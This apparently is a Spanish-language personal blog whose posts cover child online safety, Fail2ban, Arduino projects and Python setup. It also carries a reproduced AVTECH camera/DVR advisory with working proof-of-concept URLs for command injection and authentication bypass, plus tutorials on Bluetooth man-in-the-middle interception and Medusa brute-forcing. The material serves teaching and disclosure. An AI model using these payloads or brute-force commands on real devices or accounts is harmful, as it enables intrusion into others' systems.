martes, 28 de marzo de 2017

La seguridad en línea de nuestros hijos





El hogar es en donde el comportamiento seguro en linea comienza.

Entre mas jóvenes comencemos a conversar con nuestros hijos y ellos con nosotros, mejor.

Mantener conversaciones periódicas acerca de temas de seguridad , inclusive llegando al punto de mostrarles casos negativos que ocurren actualmente.

Si no sabemos que están haciendo nuestros niños, simplemente preguntemos. Finjamos ser padres despistados y pidamos que nos muestren como son las ultimas tecnologías y como las usan.

Los niños aman la idea de ser maestros y se abrirán con nosotros. Por ejemplo, quizá estén en Instagram, pedirle que nos muestre como funciona, pedirle que nos creen una cuenta y seguirlos. No solamente estamos aprendiendo y monitoreando que hacen nuestros hijos, estamos haciendo que sea mas fácil ellos hablar con nosotros. Ademas asegurarnos, en la medida de los posible, de que toda actividad en linea ocurra en áreas centrales de casa y crearles limites de tiempo para su uso.

Teniendo las computadoras en áreas centrales, los niños están mucho menos propensos a involucrarse en comportamientos peligrosos. También considerar una estación central de carga para dispositivos móviles, con la regla de que todos los móviles estén ahí antes de que los niños vayan a la cama por la noche.




La estaciones de carga van desde las mas sofisticadas como en la foto, hasta las mas sencillas.


Cuando los niños están fuera de casa, están en mayor riesgo. Debemos ayudarles a entender que nuestras ciberreglas donde sea que estén y confiarle nuestras restricciones a quienes hemos confiado su cuidado. Si tienen dispositivos móviles, debemos verificar patrones de uso (tiempo y ancho de banda) para ver si están tomando ventaja de la dificultad de mantener las restricciones cuando estan fuera de casa.

No seremos capaces de detener todas las infracciones, pero les vendrá a la mente nuestras palabras de alerta cada vez que estén a punto de llevar sus dispositivos.





martes, 11 de octubre de 2016

Multiples vulnerabilidades en camaras IP , NVR, DVR marca AVTECH

Producto afectado:

Plataforma y Firmware en cualquier dispositivo camaras IP , NVR, DVR marca AVTECH

Avtech es el segundo término de búsqueda mas popular en Shodan. De acuerdo con Shodan, mas de 130,000 dispositivos AVTECH estan expuestos a internet.

Listado de Vulnerabilidades

1) Plaintext storage of administrative password 2) Missing CSRF protection 3) Unauthenticated information disclosure
POC:
GET /cgi-bin/nobody/Machine.cgi?action=get_capability
4) Unauthenticated SSRF in DVR devices
POC: http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw== 

 5) Unauthenticated command injection in DVR devices 
POC: http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin 

 6) Authentication bypass #1 
POC: http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
 
 7) Authentication bypass #2 
POC: http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.* 

 8) Unauthenticated file download from web root 
POC:
http://<device_ip>/cgi-bin/cgibox?.cab  

9) Login captcha bypass #1 
POC: http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick 

10) Login captcha bypass #2 
11) Authenticated command injection in CloudSetup.cgi
POC: 
http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps 

12) Authenticated command injection in adcommand.cgi 
POC: POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1 Host: <device_ip> Content-Length: 23 Cookie: SSID=YWRtaW46YWRtaW4= DoShellCmd "strCmd=ps&" 

 13) Authenticated command injection in PwdGrp.cgi POC: http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN 

14) HTTPS used without certificate verification





Video







fuente:http://www.search-lab.hu/

lunes, 10 de octubre de 2016

Proteger de ataques de fuerza bruta servicios expuestos [Fail2ban]

Para saber defenderse hay que saber atacar, es por eso que en entradas anteriores hemos tratado de explicar las formas de realizar ataques de fuerza bruta con herramientas que nos ayudan a automatizar este tipo de ataque.

Ahora trataremos de defendernos de esos ataques utilizando una herramienta escrita en Python: Fail2ban.

¿Como funciona Fail2ban?

  1. Escanea los log o registros de los servicios que le indiquemos en la configuración (Eje.: //var/log/pwdfail pwdfail).
  2. Luego banea la dirección ip desde donde se han realizado demasiados intentos de logueo.
  3. Actualiza las reglas en el firewall para rechazar la ip del atacante. Estas reglas pueden ser definidas por el usuario.

Instalación

apt-get install fail2ban

Configuración

Tenemos que localizar el archivo de configuración y adaptarlo a nuestras necesidades, con unos pequeños retoques estaremos listos.

El archivo en cuestión es: /etc/fail2ban.conf

Ahora lo editamos con nuestro editor favorito y vamos recorriendo las lineas que tiene y cambiaremos las que más nos interesan:

Para este tutorial utilicé: Fail2Ban v0.5.1 , en otras versiones algunos de estos parametros los puedne encontrar en el archivo jail.conf

¿Dónde van a estar los logs?

logtargets = /var/log/fail2ban.log

¿Cuántos intentos vamos a dejar antes de banear la ip?

Por defecto viene en 3

# Option: maxretry.
# Notes.: number of retrys before IP gets banned..
# Values: NUM Default: 3.
#.
maxretry = 3

¿Cuánto tiempo vamos a banear a la ip que intenta atacarnos?

Por defecto vienen 600 segundos, que son 10 minutos, por ejemplo 36000  son 10 horas.

# Option: bantime.
# Notes.: number of seconds an IP will be banned..
# Values: NUM Default: 600.
#.
bantime = 36000


Con estas opciones podemos decirle a nuestro sistema de que nos informe cuando fail2ban es iniciado.

# Option: cmdstart.
# Notes.: command executed once at the start of Fail2Ban.
# Values: CMD Default:.
#.
cmdstart = echo "Se ha iniciado fail2ban" | mail -s "Fail2ban" midoreccionATtuservidor.com

Que se a detenido:

cmdend =echo "Se ha detenido fail2ban" | mail -s "Fail2ban" midoreccionATtuservidor.com


Queremos que nos avise al correo cuando se banea alguna ip, así que activamos esta opción.

[MAIL]

# Option: enabled.
# Notes.: enable mail notification when banning an IP address..
# Values: [true | false] Default: false.
#.
enabled = true

Ahora tenemos que meter los datos de nuestro servidor de correo

# Option: host.
# Notes.: host running the mail server..
# Values: STR Default: localhost.
#.
host = email.tuservidor.com

# Option: port.
# Notes.: port of the mail server..
# Values: INT Default: 25.
#.
port = 25

Ahora rellenamos dos campos muy sencillos, que serán, el remitente del correo y a quién debe enviarlo, este es mi caso:

# Option: from.
# Notes.: e-mail address of the sender..
# Values: MAIL Default: fail2ban.
#.
from = fail2ban

# Option: to.
# Notes.: e-mail addresses of the receiver. Addresses are space.
# separated..
# Values: MAIL Default: root.
#.
to = securityATtuservidor.com

El asunto del correo lo definimos en:

# Option: subject.
# Notes.: subject of the e-mail..
# Tags: <ip> IP address.
# <failures> number of failures.
# <failtime> unix timestamp of the last failure.
# Values: TEXT Default: [Fail2Ban] Banned <ip>.
#.
subject = [Fail2Ban] Se ha baneado a <ip>..

Y ahora el cuerpo del correo que nos será enviado:

# Option: message.
# Notes.: message of the e-mail..
# Tags: <ip> IP address.
# <failures> number of failures.
# <failtime> unix timestamp of the last failure
# <br> new line.
# Values: TEXT Default: .
#.
message = La ip <ip> ha sido baneada por Fail2Ban despues de <failures> intentos fallidos...

Ahora nos metemos ya en la configuración de los servicios por los que fail2ban velará en nuestro sistema

Comenzaremos con SSH

[SSH]

# Option: enabled
# Notes.: enable monitoring for this section.
# Values: [true | false] Default: true
#
enabled = true

Ahora debemos indicarle, al igual que hicimos con Apache, donde ha de recoger los datos en los que basarse para banear ips, en mi caso, los logs del sshd están en /var/log/secure

# Option: logfile
# Notes.: logfile to monitor.
# Values: FILE Default: /var/log/secure
#
logfile = /var/log/secure


Pasamos directamente a las ordenes que se le pasaran a iptables tanto para banerar como para desbanear ips, las podemos dejar por defecto.

# Option: fwbanrule
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: <ip> IP address
# <failures> number of failures
# <failtime> unix timestamp of the last failure
# <bantime> unix timestamp of the ban time
# Values: CMD
# Default: iptables -I INPUT 1 -i eth0 -s <ip> -j DROP
#
fwban = iptables -I INPUT -s <ip> -j DROP

# Option: fwunbanrule
# Notes.: command executed when unbanning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: <ip> IP address
# <bantime> unix timestamp of the ban time
# <unbantime> unix timestamp of the unban time
# Values: CMD
# Default: iptables -D INPUT -i eth0 -s <ip> -j DROP
#
fwunban = iptables -D INPUT -s <ip> -j DROP

Y ya, solo tenemos que fijarnos en las palabras clave que ha de buscar fail2ban en los logs para determinar cuando sí y cuando no se está intentando el login
# Option: failregex
# Notes.: regex to match the password failures messages in the logfile.
# Values: TEXT Default: Authentication failure|Failed password|Invalid user
#
failregex = Authentication failure|Failed password|Invalid user

Con esto ya estamos protegiendo el servicio SSH de ataques de fuerza bruta.

Iniciamos fail2ban como root y esperamos los resultados, los que podemos revisar en los logs de fail2ban.


viernes, 7 de octubre de 2016

MiTM en dispositivos Bluetooth con Btproxy [Hacking]



El ataque de "Hombre en el medio" o sus siglas en ingles MiTM es muy comun en dispositivos de red.
En esta entrada pretendemos explicar como se realiza este ataque en dispositivos Bluetooth, interceptando el trafico entre nuestra terminal y uno de estos dispositivos utilizando un telefono celular como intermediario.


A sido probado en los siguientes dispositivos:

  • OBDLink OBD-II Bluetooth Dongle
  • Algunos Smart Baby Monitor
  • Moto 360 smart watch
  • Beacons

Requerimientos
  • Al menos una tarjeta de Bluetooth, externa o interna.
  • S.O Linux o OS X
  • BlueZ 4
  • Un celular con Blueetooth

Instalamos BlueZ 4 y otras librerías

sudo apt install bluez bluez-utils bluez-tools libbluetooth-dev python-dev

Instalamos btproxy

git clone https://github.com/conorpp/btproxy
cd btproxy
sudo python setup.py install


Necesitamos que cada dispositivo este en modo visible 

Manos a la obra

En primer lugar debemos identificar las direcciones MAC de el dispositivo master que será nuestro telefono y el slave que sera el objetivo, esto lo hacemos así:

hcitool scan

Ejecutamos un el proxy para llevar acabo el MiTM entre los dos dispositivos:

btproxy <master-bt-mac-address> <slave-bt-mac-address>

Esto creara un dispositivo bluetooth virtual cuyo nombre finalizará con _btproxy en el dispositivo master nos conectamos a el, esto nos abre el socket de comunicación, para poder visualizar los paquetes.

Uso avanzado

Podemos modificar los paquetes en tiempo real pasando como parametro un script en python al btproxy:

reemplazar.py

def master_cb(req):

    req = req.replace(b'texto original', b'texto reemplazado')
    req = req.replace(b' otro texto original', b'otro texto reemplazado')


    print( '<< ', repr(req))
    return req

def slave_cb(res):
    print('>> ', repr(res))
    return res

Y esto lo ejecutamos así:

sudo btproxy 11:22:33:44:55:66 77:88:99:AA:BB:CC -s reemplazar.py

En conclusión

No es ideal para un ataque real, ya que necesitamos manipular los dispositivos y conectarnos al proxy nuevamente, a menos que forzemos el "unpair" de los dispositivos y esperar a que se conecten nuevamente pero en el proxy, esto podria hacerse teoricamente con un  Ubertooth pero es algo que no e comprobado aún.


jueves, 6 de octubre de 2016

Realizando ataques de fuerza bruta con Medusa [Hacking]

En la entrada anterior hablamos de como generar diccionarios de passwords para utilizarlo en un ataque de fuerza bruta.

En esta ocación trataremos de mostrarles como realizar este ataque utilizando Medusa.

Medusa nos permite atacar por diccionario de forma rápida, masiva y paralela  los siguientes servicios:

  • AFP
  • CVS
  • FTP
  • HTTP
  • IMAP
  • MS-SQL
  • MySQL
  • NetWare NCP
  • NNTP
  • PcAnywhere
  • POP3
  • PostgreSQL
  • REXEC
  • RLOGIN
  • RSH
  • SMBNT
  • SMTP-AUTH
  • SMTP-VRFY
  • SNMP
  • SSHv2
  • Subversion (SVN)
  • Telnet
  • VMware autenticación Daemon (vmauthd)
  • VNC
  • Genérico Wrapper
  • Web Form
Es decir que con esta herramienta podemos realizar ataques en paralelo a diversos hosts, enviando como parametro -H file , donde file contiene las direcciones ip de los objetivos a atacar linea por linea.

Utilizamos el siguiente comando para verificar los modulos que hay disponibles para realizar ataques:

medusa -d

Los parámetros mas importantes son:

  • -h -> el host víctima
  • -H -> si tenemos un archivo txt con una lista de hosts
  • -u  -> el usuario al cual deseamos hacerle el cracking
  • -U ->  un archivo txt con la lista de posibles usuarios (muy útil si no sabemos que usuarios existen en el sistema)
  • -P ->  Ubicación del diccionario
  • -O  -> Crea un archivo log
  • – e  ns -> Verifica el password vacio o que ambos datos sean lo mismo
  • -M  -> El modulo que deseamos emplear (sin la extension .mod)
  • -n -> por si el servicio esta corriendo en otro puerto diferente al default
  • -s -> Habilita ssl
  • -f -> detiene el ataque en el instante de encontrar un password valido
  • -b -> suprime los banners
  • -v  -> modo verbose (mas informacion level de 0 a 6 siendo el 6 mas alto)

Ejemplo de uso:

medusa -h 127.0.0.1 -u root -P /diccionario.txt -M mysql -L -f -b -v 6

Recordemos que un ataque de esta naturaleza  hace demasiado “RUIDO”, y que podría ser frenado fácilmente por Fail2Ban por ejemplo.

Generando diccionarios de passwords para ataques de fuerza bruta [Hacking]

Podriamos descargadar diccionarios de diversos sitios en internet, pero no hay mejor diccionario que el que vayamos alimentando nosotros mismos.

Pero en el caso que quisieramos probar algo aleatorio y generarlo automaticamente podriamos utilizar apg.

Instalamos:

apt install apg

Uso básico:

apg -m 5 -x 10 -n 50000 >> file.txt

Explicación:
  • -m: Número mínimos de caracteres para los password generados
  • -x: Número maximo de caracteres para los password generados
  • -n: Número de password a generar
  • file.txt: nombre del archivo donde se guardaran los password.
El algortimo que utiliza por defecto es NTIS (National Technical Information Service) creado por el ingeniero Morrie Gasser.
Tambien se puede utilizar otro algoritmo que es el que genera caracteres de forma aleatoria.

El cambio de algortimos es posible gracias al parametro -a 0 ó 1

APG tiene la habilidad de verificar la calidad de los passwords generados usando un diccionario con palabras ya existentes (una por cada línea), es decir que puede generar palabras basadas en un diccionario nuestro ya existente y darnos una variedad del mismo. Esto lo hacemos utilizando el parametro -r diccionario.txt.

VER:  Realizando ataques de fuerza bruta con Medusa



martes, 16 de agosto de 2016

Cómo funciona ClimaHonduras en Twitter [Código]

En esta ocación tratare de explicar a grandes rasgos el funcionamiento de ClimaHonduras.
Los script que se encargan de postear en esta cuenta en un principio fue desarrollada utilizando PHP Simple HTML DOM Parser entre @ferock y yo.

Luego de perder el codigo y el servidor donde estaba alojada estos scripts y que la cuenta estubiera inactiva por un largo tiempo, decidí volver a desarrollar los script, pero esta vez utilizando Python v3 y en  un servidor de DigitalOcean.

¿Que hace actualmente ClimaHonduras?

Si son seguidores de la cuenta estarán familiarizados con el funcionamiento de la misma, pero daré mas detalle de las funciones que tiene (Los datos que se obtienen son de Accuweather).


  • Una de las funciones que tiene y es de los primeros tweets que hace en el día es la de mostrar la actividad de huracanes en nuestra zona (Como se muestra en el tweet insertado abajo), esto se logra sacando de NOAA una serie de imagenes de la secuencia que con un script unimos y convertimos a gif :

  •  Hace una serie de tweets en el que incluyen la temperatura actual de la siguientes ciudades:
    • San Pedro Sula
    • Tegucigalpa
    • La Ceiba
    • Santa Barbara
    • Gracias Lempira
  • Ejemplo:

Lirerías que se utilizan

Twython
BeautfiulSoup4
Requests

Para obtener las imágenes con la secuencia de la actividad de huracanes en la zona y postearlo en twitter utilizamos el siguiente script:


Utilizando las librerias anteriores cree una liberia para que se encarga de obtener los datos de la pagina de Accuweather y postear los tweets:

Y luego en cron programo para que se ejecute el siguiente script en donde se inplementa la libreria anterior (la primera línea de codigo es porque la libreria esta dentro de la carpeta libtemp):



Para que postee la temperatura del siguiente dia será así:

Muchas ídeas estan por ser implementadas, y es por cuestión de tiempo que aún no se mejora, y esta es una de las razones por la que decido compartir el código y esperar que podamos contribuir a mejorar esto juntos.

El código completo lo pueden encontrar aquí: https://bitbucket.org/jyjaire/climahonduras/

domingo, 8 de febrero de 2015

FONA, comunicación GPRS con Arduino


Hablaremos de como usar el módulo de comunicación GPRS de Adafruit llamado FONA .

Con este módulo le damos la capacidad a nuestro Arduino o RaspberryPi de enviar datos a traves de Internet, en este caso 2G.

Como se puede observar en la foto necesita de una bateria de Lithium de 3.7v ademas de la conexión de 5v desde el Arduino o RaspberryPi.

Adafruit nos proporciona una libreria para facilitarnos su uso, además de un ejemplo donde se reunen todas las caracteristicas de este interesante módulo

Características

  • Quad-band 850/900/1800/1900MHz
  • Hace y recibe llamadas utilizando headset o un parlante externo de 8Ω  + microfono.
  • Envia y recibe SMS
  • Envia y recibe datos por GPRS (TCP/IP, HTTP, etc.)
  • PWM/Buzzer para conectar vibrador.
  • Interfaz de comandos AT.
Para utilizar este módulo con Arduino UNO lo podemos hacer con la librería SoftwareSerial.h, y con Arduino Mega 2560 lo podemos hacer directamente a travez de uno de los puertos seriales físicos que posee.
 

PINOUTS

  • Vio connects to 5V (or, with a 3V logic Arduino, 3V)
  • GND connects to GND
  • Key connects to GND (always on)
  • RX connects to digital 2
  • TX connects to digital 3 (9 on Leo/Micro, 10 on Mega)
  • RST connects to digital 4
Una vez tengamos instaladas las librerías y correspondientes podemos descargar el código de ejemplo de aquí.

En el caso de Arduino MEGA 2560, conectamos los pines de comunicación del FONA Tx -> Serial 2 Rx Arduino, FONA Rx -> Tx Serial 2 Arduino, el pin RST al pin 22 del Arduino.

Debemos configurar los pines de Arduino el código de ejemplo de esta manera:

Cambiamos la definición del pin RST en el Arduino y la colocamos en 22:

#define FONA_RST 22

Como en el Arduio Mega 2560 no utilizaremos la líbreria SoftwareSerial.h, comentaremos esta línea:

//SoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);

Para indicarle al Arduino en que puerto esta conectado el FONA cambiamos la siguiente línea:

if (! fona.begin(fonaSS)) {







Quedando asi:

if (! fona.begin(Serial2)) {

Ahora podemos subir nuestro programa al Arduino y debería funcionar correctamente.

En mi caso e realizado pruebas conun chip de Tigo y no e tenido ningun problema.

Hasta la PROXYma.

lunes, 2 de febrero de 2015

[Arduino] Capturar imágen y subirla a un servidor FTP


Desde hace días que habia dejado a un lado la publicación de articulos, y en especial los relaiconados con Arduino, por falta de tiempo principalmente y de limitaciones en cuanto a hardware, vuelvo a escribir árticulos sobre Arduino gracias a la colaboración de Sytec , empresa dedicada entre otras cosas a la automatización industrial y son distribuidores oficiales de Arduino para Honduras.

Hardware a utilizar

  • Cámara TTL Serial VC0706 este modelo que utilizaremos es a prueba de agua.
  • Arduino Mega 2560
  • Ethernet Shield
  • microSD


Este código esta basado en el ejemplo de transferencia de archivos usando el Ethernet Shield por FTP, en donde se incluyo la toma de la foto con la cámara VC0706, en el cual se utiliza el modo de tranferencia ASCI que solamente es para transferencia de archivos de texto (7 bit), en este caso utilizamos el tipo de transferencia Binario (8bit).

La camara tomará una foto y la guarda en la microSD, luego el programa pedira introducir la letra f y presionamos Enter, esto enviará la imagen que acaba de tomar la cámara al servidor FTP.

 Utilizaremos el siguiente esquema de conexión




El código lo pueden descargar aquí: https://drive.google.com/file/d/0B4yVk8iE3E-FeFdESVBOQ3JRMFU/view?usp=sharing

Cambios a considerar en el código

  • Línea 16, cambiar por su IP local.
  • Línea 17 cambiar por su máscara de red.
  • Línea 18 cambiar por su puerta de enlace.
  • Línea 21, la ip de su servidor FTP.
  • Línea 182, Su usuario FTP.
  • Línea 186, el password de el usuario.

En el código podrán observar en la línea 231 la siguiente instrucción :

  •  client.println(F("TYPE I"));

Que es la que pone en tipo de archivo binario el modo de transferencia, en el cual se peuden enviar archivos de tipo multimedia, como ser imágenes, videos, mp3 etc...


Cabe destacar que se utiliza unos de los puertos seriales  que posee el Arduino Mega 2560 para la comunicación con la cámara, para ser especificos el Serial3, tal y como se muestra en el esquema de conexión, el cable TX de la cámara va conectado a el pin RX del Arduino, en este caso como utilizamos el Ethernet Shield que trae incluido un lector de microSD el pin de verificación de la memoria es el 4.

En el siguiente artículo aprenderemos sobre la cuminicación GPRS con el módulo FONA interactuando con bases de datos en un servidor web.




Todo lo utilizado en este tutorial puede ser adquirido en Sytec.

Hasta la PROXYma.


viernes, 12 de diciembre de 2014

Instalación de otra versión de Python y Pip en CentOS

En esta ocación compartiré los pasos para instalar Python 2.7.6 en un servidor CentOS, esto surge de la necesidad de usar esta versión de Python en lugar de la actual, ya que el modulo principal de mi script aun no esta para la versión 3 de Python, pues el servidor ya contaba con la última versión de Python.

Descargamos Python 2.7.6:


wget http://www.python.org/ftp/python/2.7.6/Python-2.7.6.tar.xz

Una vez descargado, procedes a descomprimirlo.


xz -d Python-2.7.6.tar.xz 
tar -xvf Python-2.7.6.tar

Luego entramos a la carpeta:

cd Python-2.7.6

Ahora configuramos la instalacion:


./configure --prefix=/usr/local   

Ejecutamos make, esto llevara algunos minutos:

make
Luego:make altinstall
Ya con esto tenemos instalado Python 2.7.6

Procedemos a la instalacion de Pip para esta version de Python

 Instalamos Setuptools

wget --no-check-certificate https://pypi.python.org/packages/source/s/setuptools/setuptools-1.4.2.tar.gz

Extraemos:

tar -xvf setuptools-1.4.2.tar.gz

Ingresamos el directorio e instalamos:

cd setuptools-1.4.2
python2.7 setup.py install

Descargamos el archivo de instalacion de PIP 2.7 y lo ejecutamos:

wget https://raw.githubusercontent.com/pypa/pip/master/contrib/get-pip.py

python2.7 get-pip.py

Ahora probamos la instalación de alguna libreria para Python 2.7.6


Ejemplo:
pip2.7 install mechanize

martes, 19 de agosto de 2014

[Arduino] Arreglo en grupos de 3 LEDs y letras en acrílico

Para realizar el siguente proyecto me base en la imagen principal de el post. Con el objetivo de mostrar un rotulo llamativo utilizando diodos emisores de luz, y para hacerlo aun mas llamativo utilizando ademas Arduino para hacer un show secuencial de luces.

Comenzamos programando nuestro Arduino UNO, quise hacer algo un tanto diferente en la programación, pues vi algunos codigos en internet pero controlaban una a una las salidad y se volvia un código repetitivo y bastante extenso, asi que dispuse a hacer mi propio código.

La peculiaridad de este codigo es, que controla 3 arreglos que contienen 3 Leds cada uno, pero cada led esta controlado por una salida individual de Arduino.

Quedando así las conexiones:


El código tiene dos modalidades o dos tipos de show de luces, uno que es secuencial y otro en donde las letras se encienden y apagan de forma aleatoria.

En las funciones Onleds y OffLeds es donde controlamos que se enciendan y apaguen de 3 en 3 los leds como si fueran uno solo pero son controlados por sálidas individuales de el Arduino como anteriormente mencione.


int timer = 1000;     

void setup() {
  
  for (int thisPin = 2; thisPin <= 10; thisPin++) {
    pinMode(thisPin, OUTPUT);
  }
  
  

}

void loop() {
  

show1();


}



void show1(){  
  for (int Pin = 2; Pin <= 10; Pin++) {
  
      OnLeds(Pin);
      delay(timer);
      Pin=Pin+2;
      OnLeds(Pin);


  }

  for (int Pin = 10; Pin >= 2; Pin--) {
      
      OffLeds(Pin,1);
      delay(timer);
      Pin=Pin-2;
      OffLeds(Pin,1);
      

  }
  
  delay(timer);
  Todos(1);
  delay(1000);
  Todos(0);

}

void show2(){
  int arreglo[3]={2,5,8};
  int num;
  int iter;
  for (int Pin = 2; Pin <= 10; Pin++) {
      num=random(0,3);
      iter = arreglo[num];
      OnLeds(iter);
      delay(timer);
      Serial.print(iter);
      
      OffLeds(iter,2);
  }  

}

void OnLeds(int x){
    digitalWrite(x, HIGH);
    digitalWrite(x+1, HIGH);
    digitalWrite(x+2, HIGH);

}

void OffLeds(int x, int modo){
    if(modo==1){
    digitalWrite(x, LOW);
    digitalWrite(x-1, LOW);
    digitalWrite(x-2, LOW);
    }
    
    if(modo==2){
    digitalWrite(x, LOW);
    digitalWrite(x+1, LOW);
    digitalWrite(x+2, LOW);
    }

}

void Todos(int S){
   if(S==1){
       for (int thisPin = 2; thisPin < 11; thisPin++) {
          
        digitalWrite(thisPin, HIGH);
       }
   }
     if(S==0){
       for (int thisPin = 2; thisPin < 11; thisPin++) {
          
        digitalWrite(thisPin, LOW);
     }
   }
  } 
  
La instalacion de los leds y las letras fue hecha sobre una pequeña tabla de melanina.


La letras son de acrilico, por lo que al colocar los leds en la parte de abajo del acrilico se ve un efecto de iluminacion muy llamativo.

Al final las letras quedaron así:


El diseño con que fueorn cortadas las letras fue este:


Notese en la parte inferior de cada letra hay una base que es la que se utiliza para incrustarlas en la melanina.

El proyecto ya finalizado con el show secuencial de luces se mira asi:

 



Bonus pic, primero montando en el protoboard para pruebas.


Hasta la PROXYma.

lunes, 14 de octubre de 2013

Videojuego con Python, Pilas Engine y Arduino - Parte 1

En esta ocasión  estoy realizando mi primer videojuego, es algo sencillo. anteriormente en la universidad había realizado el típico snake con C y Conio pero como tarea. Hoy intento realizar este pequeño juego para el cumpleaños de mi hija utilizando uno de sus personajes preferidos.

El video genera "enemigos" aleatoriamente que son las bombas  y también genera estrellas que al tomarlas aumentan el puntaje y generará premios eventualmente y de forma random también, que al tomarlos mediante serial y arduino entregara un chocolate mediante un mecanismo (Pendiente).

Para realizar este juego utilizo el lenguaje de programacion Python junto a un interesante motor y fácil de utilizar, Pilas Engine un proyecto latino y que nos hace la vida mas fácil a la hora de desarrollar videojuegos.

También utilizo la librería Pyserial para la comunicación entre Arduino y Python.

el juego es controlado de la siguiente forma:




Es una placa de Arduino UNO que lee desde su puerto análogo 0 un LDR de esta forma el esquema de conexión:


El programa que alojara Arduino es sencillo y calcula mediante un umbral si enviara 1 o 0 por el puerto serial el cual estará recibiendo nuestro código en python, 1 significa arriba y 0 abajo.

int umbral = 660;
void setup() {
  // initialize serial communication at 9600 bits per second:
  Serial.begin(9600);
}

void loop() {
  // read the input on analog pin 0:
  int sensorValue = analogRead(0);
  // print out the value you read:
   if (sensorValue < umbral)
    {
      Serial.println("00");
    }
    else {
      Serial.println("10");
    }
delay(30);
  //Serial.println(sensorValue);
}

Luego subiré el código en Python en la segunda parte del Post.
 Hasta la PROXYma.

viernes, 26 de julio de 2013

RIP Barnaby Jack, conocía las técnicas para atacar dispositivos cardíacos





El conocido 'hacker', Barnaby Jack, ha muerto en San Francisco, una semana antes de mostrar las técnicas que conocía para atacar los dispositivos cardíacos implantados en las personas y que según dijopodía matar que se encuentre a 10 metros de distancia aproximadamente.

De momento no se conocen detalles sobre las causas de la muerte. La oficina médica forense de San Francisco explicó que Jack ha fallecido en la ciudad el jueves, pero no ha dado más detalles.

Barnaby Jack, experto en seguridad, se convirtió en uno de los 'hackers' más famosos del planeta, cuando en 2010 consiguió controlar los cajeros automáticos para que le entregasen el dinero que contenían y grabasen la información de las tarjetas que se insertasen en él. Fue tan conocido que a esta técnica se la llegó a apodar como 'Jackpotting'.

La comunidad de hackers ha expresado su sorpresa a través de las redes sociales por la noticia de su muerte, que se ha extendido a través de Twitter el viernes por la mañana. El pirata informático Tyler Shields escribió "Wow... Sin palabras" y la empresa de seguridad informática para la que trabajaba, IOActive, dijo en un tweet: "nunca olvidaremos a nuestro querido pirata, Barnaby Jack".

Trabajaba como director de seguridad de dispositivos integrados de IOActive y su genialidad fue conseguir 'hackear' aparatos médicos, como marcapasos o bombas de insulina, alterando su funcionamiento de manera que pudiera causar la muerte de la persona. Llegó a encontrar errores en los aparatos médicos de una importante marca y afirmó: "puedo recuperar los códigos necesarios para intervenir en los implantes individuales a distancia".

El pirata informático tenía previsto presentar su última investigacióndurante el próximo foro de hackers conocido como 'Black Hat hacking', en las que había recibido la ovación de sus compañeros por su creatividad y talento para el espectáculo.

miércoles, 24 de julio de 2013

Realizar llamada por medio de Arduino y Asterisk (Video)



Realizar llamada de acuerdo al cambio de luminosidad en el ambiente por medio de Arduino, es decir cuando el nivel de luz cambie Arduino le dara la orden a Asterisk para realizar una llamada anunciando un movimiento.

(Utilizamos Arduino UNO con Ethernet Shield)

El video ilustrativo de como funciona:


Creamos el archivo arduino.php en /var/lib/asterisk/agi-bin/ :

#!/usr/bin/php -q

<?php
require("phpagi.php");

$agi = new AGI();

        $agi->answer();
        $return = $agi->get_data('beep', 30000, 1);

        $agi->text2wav("Hubo movimiento en la habitacion ");
        $agi->hangup();

?>


En /var/www/html (la ruta que tienen configurado en el server web) creamos el archivo call_sense.php :


<?php


$luz = $_GET['luz'];

echo $luz;
$asterisk_outgoing = "/var/spool/asterisk/outgoing/";

$asterisk_tmp = "/tmp/";

$asterisk_cid = "Sensor de Luz<7307>"; // the from caller id you'd like to display.

                $arduinocallfile = "/$asterisk_tmp/arduino_call.txt";

                $arduinocall = fopen($arduinocallfile, 'w') or die("can't open file");


$arduinocall_data="Channel:SIP/7306\nApplication:AGI\nData:arduino.php\nCallerID:$asterisk$
                fwrite($arduinocall, $arduinocall_data);

                fclose($arduinocall);



                // chmod, chown and chgrp the file to asterisk:asterisk

                 chmod ("/$asterisk_tmp/arduino_call.txt", 0666);

                 chown ("/$asterisk_tmp/arduino_call.txt", "asterisk");

                 chgrp ("/$asterisk_tmp/arduino_call.txt", "asterisk");


                rename("/$asterisk_tmp/arduino_call.txt","/$asterisk_outgoing/arduino_call.call");
?>


Y ahora el código de nuesto Arduino UNO :

Antes el diagrama de conexión:


Código:

#include <SPI.h>

#include <Ethernet.h>


int lightPin = 0; 
int threshold = 640;  //este valor lo modificamos de acuerdo el nivel de sensibilidad que tiene nuestra fotoresistencia dada por la resistencia que esta entre A0 y GND.



byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
byte server[] = { xxx, xxx, xxx, x }; //IP del servidor web donde esta Asterisk y el archivo call_sense.php
int luz = 0;
EthernetClient client;

  
void setup()


{


  Ethernet.begin(mac);


  Serial.begin(9600);


}



void loop () {

  Serial.println(Ethernet.localIP());
senddata();
delay(500);


}


void senddata()
{


  Serial.println(analogRead(lightPin)); 

    if(analogRead(lightPin) > threshold ){    
      
        Serial.println("high"); 
    }else{
        
        Serial.println("low"); 
        
         luz = 1;
          Serial.println();
          Serial.println("Iniciando conexion!");
          Serial.println("Conectando!");
          delay(1000); //This one keeps it from hanging
          
          if (client.connect(server,80)) {
          Serial.println("Connected!");
          client.print("GET http://XXX.XXX.XXX.X/call_sense.php?luz=");
          client.print(luz);
          client.println(" HTTP/1.1");
          client.println("User-Agent: Arduino 1.0");
          client.println("Host: xxx.xxx.xxx.x");
          client.println();
                                      }
           
           else 
           {
           Serial.println("Connection failed");
           client.stop();
           }
                  
